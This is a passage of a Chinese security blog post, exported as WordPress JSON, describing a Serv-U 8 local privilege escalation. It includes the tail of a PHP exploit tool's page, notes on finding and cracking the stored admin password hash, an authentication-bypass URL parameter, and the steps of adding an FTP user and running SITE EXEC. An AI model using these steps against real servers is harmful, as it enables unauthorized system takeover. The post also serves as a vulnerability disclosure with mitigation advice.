  236.     { <\/span> <\/span><\/li>\n
  237.         $str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L))); <\/span> <\/span><\/li>\n
  238.         return $str_put; <\/span> <\/span><\/li>\n
  239.     } <\/span> <\/span><\/li>\n
  240.     else <\/span> <\/span><\/li>\n
  241.         return "<\/span>\u6ca1\u627e\u5230\u9700\u8981\u7684\u53d8\u91cf<\/span>"; <\/span> <\/span><\/li>\n
  242. } <\/span> <\/span><\/li>\n
  243. ?> <\/span> <\/span><\/li>\n
  244.               <\/pre> <\/span> <\/span><\/li>\n
  245.         <\/form> <\/span> <\/span><\/li>\n
  246. <div id="<\/span>adminpassdiv<\/span>" style="<\/span>display:none<\/span>"> <\/span> <\/span><\/li>\n
  247. <pre> <\/span> <\/span><\/li>\n
  248. \u9ed8\u8ba4\u4e3a\u7a7a\uff0c\u5982\u679c\u5bc6\u7801\u4e3a\u7a7a\uff0c<b>\u586b\u4ec0\u4e48\u90fd\u80fd\u8fdb\u53bb\u3002<\/b> <\/span> <\/span><\/li>\n
  249. \u5982\u679c\u4fee\u6539\u8fc7\uff0c\u7ba1\u7406\u5458\u5bc6\u7801\u9ed8\u8ba4\u4f1a\u5728\u8fd9\u91cc\uff1a <\/span> <\/span><\/li>\n
  250. <b>C:\\Program Files\\RhinoSoft.com\\Serv-U\\Users\\Local Administrator Domain\\.Archive<\/b> <\/span> <\/span><\/li>\n
  251. \u6587\u4ef6\u4e2d\u627e\u5230\u4e00\u4e2aMD5\u5bc6\u7801\u503c\u3002 <\/span> <\/span><\/li>\n
  252. C:\\Program Files\\RhinoSoft.com\\Serv-U <\/span> <\/span><\/li>\n
  253. \u662fsu\u7684\u6839\u76ee\u5f55\u3002 <\/span> <\/span><\/li>\n
  254. \u5bc6\u7801\u503c\u7684\u6837\u5f0f\u4e3a(\u5047\u8bbe\u662f123456) <\/span> <\/span><\/li>\n
  255. kx####################### <\/span> <\/span><\/li>\n
  256. #\u4ee3\u8868123456\u768432\u4f4dMD5\u52a0\u5bc6\uff0c\u800ckx\u5219\u662fsu\u5bf9md5\u7684\u5bc6\u7801\u7b97\u6cd5\u6539\u8fdb\u7684\u968f\u673a2\u4f4d\u5b57\u7b26\u3002 <\/span> <\/span><\/li>\n
  257. \u7834\u89e3\u540e\u7684\u5bc6\u7801\u4e3a<b>kx<\/b>123456\uff0c\u53bb\u6389kx\u5c31\u662f\u5bc6\u7801\u4e86\u3002 <\/span> <\/span><\/li>\n
  258. \u4f60\u53ef\u4ee5\u9488\u5bf9\u8fd9\u4e2a\u52a0\u5bc6\u751f\u6210\u5b57\u5178\u3002 <\/span> <\/span><\/li>\n
  259.  <\/span><\/li>\n
  260.  <\/span><\/li>\n
  261. <\/pre> <\/span> <\/span><\/li>\n
  262. <\/div> <\/span> <\/span><\/li>\n
  263. <div id="<\/span>QAdiv<\/span>" style="<\/span>display:none">   <\/span><\/span><\/li>\n
  264. <pre>   <\/span><\/li>\n
  265. <b>\u63d0\u6743\u7684\u539f\u7406\uff1f<\/b>   <\/span><\/li>\n
  266.     Su8\u7684\u7ba1\u7406\u5e73\u53f0\u662fhttp\u7684\uff0c\u7ee7\u627f\u4e86su7\u7684\u65b9\u5f0f\u3002   <\/span><\/li>\n
  267.     \u6293\u5305\uff0c\u5206\u6790\uff0c\u53d1\u73b0\u4e86\u4ee5\u4e0b\u8def\u7a0b\u662f\u53ef\u4ee5\u5229\u7528\u7684\u3002   <\/span><\/li>\n
  268.     1\uff0c  \u7ba1\u7406\u5458\u4ece\u7ba1\u7406\u63a7\u5236\u53f0\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u662f\u4e0d\u9700\u8981\u9a8c\u8bc1\u5bc6\u7801\u7684\u3002   <\/span><\/li>\n
  269.     2\uff0c  \u7ba1\u7406\u5458\u5982\u679c\u7528\u67d0URL\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u867d\u7136\u9700\u8981\u8f93\u5165\u5bc6\u7801\uff0c\u4f46\u662f\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\uff0c\u90fd\u53ef\u4ee5\u8fdb\u5165\u3002“\/?Session=39893&Language=zh,CN&LocalAdmin=1”   <\/span><\/li>\n
  270.     3\uff0c  \u7ba1\u7406\u5458\u53ef\u4ee5\u6dfb\u52a0\u7528\u6237\u6709\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\u7528\u6237\uff0c\u4e00\u79cd\u662f\u67d0\u4e2a\u57df\u4e0b\u7684\u7528\u6237\u3002\u800c\u6743\u9650\u8bbe\u7f6e\u4e5f\u662f\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\uff0c\u4e00\u79cd\u662f\u9488\u5bf9\u7528\u6237\u3002   <\/span><\/li>\n
  271.     4\uff0c  \u7ba1\u7406\u5458\u6dfb\u52a0\u4e86\u7528\u6237\u7684\u8fd9\u4e2a\u5305\u548c\u8bbe\u7f6e\u6743\u9650\u8fd9\u4e2a\u5305\uff0c\u662f\u5206\u5f00\u7684\u3002   <\/span><\/li>\n
  272.     \u6240\u4ee5\uff0c\u6211\u53ef\u4ee5\u6293\u5305\u7136\u540e\u8f6c\u6362\u6210php\u7684socket\u8fde\u63a5post\u51fa\u53bb\u3002   <\/span><\/li>\n
  273.     \u6700\u540e\u5728\u7528\u7ecf\u5178\u7684ftp\u767b\u9646\uff0c<\/span>exec<\/span>\u547d\u4ee4\u3002\u8fbe\u5230\u63d0\u6743\u3002   <\/span><\/li>\n
  274.        <\/span><\/li>\n
  275.     \u524d\u9762su7\u5df2\u7ecf\u8bf4\u4e86\u5f88\u591a\uff0c\u8fd9\u91cc\u7b80\u5355\u7684\u8bf4\u4e0b\u597d\u4e86\u3002   <\/span><\/li>\n
  276.     …..\u767b\u9646\u4ec0\u4e48\u7684\u3002   <\/span><\/li>\n
  277.     1\uff0c\u83b7\u53d6ID\u3002   <\/span><\/li>\n
  278.     2\uff0c\u7ed9\u8fd9\u4e2aid\u6dfb\u52a0\u6743\u9650\u3002   <\/span><\/li>\n
  279.     3\uff0c\u7ed9\u8fd9\u4e2aid\u8d4b\u4e88\u7528\u6237\u540d\uff0c\u5bc6\u7801\uff0c\u76ee\u5f55\uff0c\u6743\u9650\u3002   <\/span><\/li>\n
  280.     4\uff0c\u767b\u9646\u540e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002   <\/span><\/li>\n
  281.   <\/span><\/li>\n
  282. <b>\u4e3a\u5565\u6211\u660e\u660e\u663e\u793a\u6210\u529f\u4e86\uff0c\u4f46\u662f\u5374\u63d0\u4e0d\u4e0a\u53bb\uff1f<\/b>   <\/span><\/li>\n
  283.     \u8fd9\u8981\u770b\u9519\u8bef\u4ee3\u7801\u4e86\uff0c\u8fd9\u91cc\u5076\u5f88\u60ed\u6127\uff0c\u5e76\u6ca1\u6709\u5199\u8be6\u7ec6\u7684\u9519\u8bef\u4ee3\u7801\u5224\u65ad\u3002   <\/span><\/li>\n
  284.     \u4e00\u822c\u6709\u4ee5\u4e0b\u51e0\u79cd\u60c5\u51b5\uff1a   <\/span><\/li>\n
  285.     1\uff0c\u53ef\u80fd\u662f\u56e0\u4e3a\u7ba1\u7406\u5458\u5bc6\u7801\u4e0d\u5bf9\u3002   <\/span><\/li>\n
  286.         \u53c2\u7167\u7ba1\u7406\u5458\u5bc6\u7801\u7684\u8fde\u63a5\u3002   <\/span><\/li>\n
  287.     2\uff0c\u53ef\u80fd\u662f\u56e0\u4e3a\u7ba1\u7406\u5458\u9650\u5236\u4e86\u6267\u884cSITE <\/span>EXEC<\/span>\u3002   <\/span><\/li>\n
  288.         \u6709\u5f85\u7a0b\u5e8f\u4fee\u6539\uff0c\u7a0b\u5e8f\u53ef\u4ee5\u52a0\u4e00\u4e2a\u8ba9\u4ed6\u4e0d\u9650\u5236\u7684\u529f\u80fd\u3002   <\/span><\/li>\n
  289.     3\uff0c\u53ef\u80fd\u662f\u7a0b\u5e8f\u95ee\u9898\u3002   <\/span><\/li>\n
  290.   <\/span><\/li>\n
  291.   <\/span><\/li>\n
  292. <\/pre>   <\/span><\/li>\n
  293. <\/div>   <\/span><\/li>\n
  294.     <\/body>   <\/span><\/li>\n
  295. <\/html>  <\/span><\/li>\n<\/ol>\n<\/div>\n

    \u5efa\u8bae\uff1a<\/strong><\/p>\n

    \u76ee\u524d\u5382\u5546\u6ca1\u6709\u4efb\u4f55\u8865\u4e01\uff0c\u8981\u4e0d\u5927\u5bb6\u518d\u7b49\u7b49\uff1f<\/p>\n

    \u4e0d\u8fc7\u4ee5\u524dSU7\u672c\u5730\u6ea2\u51fa\u63a8\u51fa\u6765\uff0c\u4e5f\u6ca1\u89c1\u5230\u4ec0\u4e48\u52a8\u9759\u3002-_-!<\/p>\n

    \u5148\u628a\u672c\u5730\u7ba1\u7406\u5bc6\u7801\u6539\u590d\u6742\u70b9\u5e94\u4ed8\u7740\u5427\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

    by kxlzx inbreak.net<\/a><\/p>\n

    \u770bcnbeta\u53d1\u73b0su\u51fa8\u8fd9\u4e2a\u7248\u672c\u4e86\u3002<\/p>\n

    \u60f3\u60f3\u4ee5\u524d\u5199\u8fc7\u4e00\u4e2a7\u7684\u672c\u5730\u63d0\u6743\u3002<\/p>\n

    \u4e0d\u77e5\u90538\u6709\u4ec0\u4e48\u5b89\u5168\u65b9\u9762\u7684\u66f4\u6539\u3002<\/p>\n

    \u4e0b\u8f7d\u6765\u7814\u7a76\u4e0b\uff0c\u53d1\u73b0\u5c45\u7136\u8fd8\u662f\u53ef\u4ee5\u63d0\u6743\u7684\uff0c\u53ea\u662fsu7\u7684\u90a3\u4e2a\u4e0d\u80fd\u76f4\u63a5\u7528\uff0c\u7a0d\u5fae\u4fee\u6539\u4e86\u4e0b\u6267\u884c\u7684\u6d41\u7a0b\u3002<\/p>\n

     Su8\u7684\u7ba1\u7406\u5e73\u53f0\u662fhttp\u7684\uff0c\u7ee7\u627f\u4e86su7\u7684\u65b9\u5f0f\u3002
    \n \u6293\u5305\uff0c\u5206\u6790\uff0c\u53d1\u73b0\u4e86\u4ee5\u4e0b\u8def\u7a0b\u662f\u53ef\u4ee5\u5229\u7528\u7684\u3002
    \n 1\uff0c \u7ba1\u7406\u5458\u4ece\u7ba1\u7406\u63a7\u5236\u53f0\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u662f\u4e0d\u9700\u8981\u9a8c\u8bc1\u5bc6\u7801\u7684\u3002
    \n 2\uff0c \u7ba1\u7406\u5458\u5982\u679c\u7528\u67d0URL\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u867d\u7136\u9700\u8981\u8f93\u5165\u5bc6\u7801\uff0c\u4f46\u662f\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\uff0c\u90fd\u53ef\u4ee5\u8fdb\u5165\u3002“\/?Session=39893&Language=zh,CN&LocalAdmin=1”
    \n 3\uff0c \u7ba1\u7406\u5458\u53ef\u4ee5\u6dfb\u52a0\u7528\u6237\u6709\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\u7528\u6237\uff0c\u4e00\u79cd\u662f\u67d0\u4e2a\u57df\u4e0b\u7684\u7528\u6237\u3002\u800c\u6743\u9650\u8bbe\u7f6e\u4e5f\u662f\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\uff0c\u4e00\u79cd\u662f\u9488\u5bf9\u7528\u6237\u3002
    \n 4\uff0c \u7ba1\u7406\u5458\u6dfb\u52a0\u4e86\u7528\u6237\u7684\u8fd9\u4e2a\u5305\u548c\u8bbe\u7f6e\u6743\u9650\u8fd9\u4e2a\u5305\uff0c\u662f\u5206\u5f00\u7684\u3002
    \n \u6240\u4ee5\uff0c\u6211\u53ef\u4ee5\u6293\u5305\u7136\u540e\u8f6c\u6362\u6210php\u7684socket\u8fde\u63a5post\u51fa\u53bb\u3002
    \n \u6700\u540e\u5728\u7528\u7ecf\u5178\u7684ftp\u767b\u9646\uff0cexec\u547d\u4ee4\u3002\u8fbe\u5230\u63d0\u6743\u3002
    \n 
    \n \u524d\u9762su7\u5df2\u7ecf\u8bf4\u4e86\u5f88\u591a\uff0c\u8fd9\u91cc\u7b80\u5355\u7684\u8bf4\u4e0b\u597d\u4e86\u3002
    \n …..\u767b\u9646\u4ec0\u4e48\u7684\u3002
    \n 1\uff0c\u83b7\u53d6ID\u3002
    \n 2\uff0c\u7ed9\u8fd9\u4e2aid\u6dfb\u52a0\u6743\u9650\u3002
    \n 3\uff0c\u7ed9\u8fd9\u4e2aid\u8d4b\u4e88\u7528\u6237\u540d\uff0c\u5bc6\u7801\uff0c\u76ee\u5f55\uff0c\u6743\u9650\u3002
    \n 4\uff0c\u767b\u9646\u540e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n

    \u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[87,5],"tags":[31,56,55],"views":6526,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/157"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=157"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":223,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/157\/revisions\/223"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}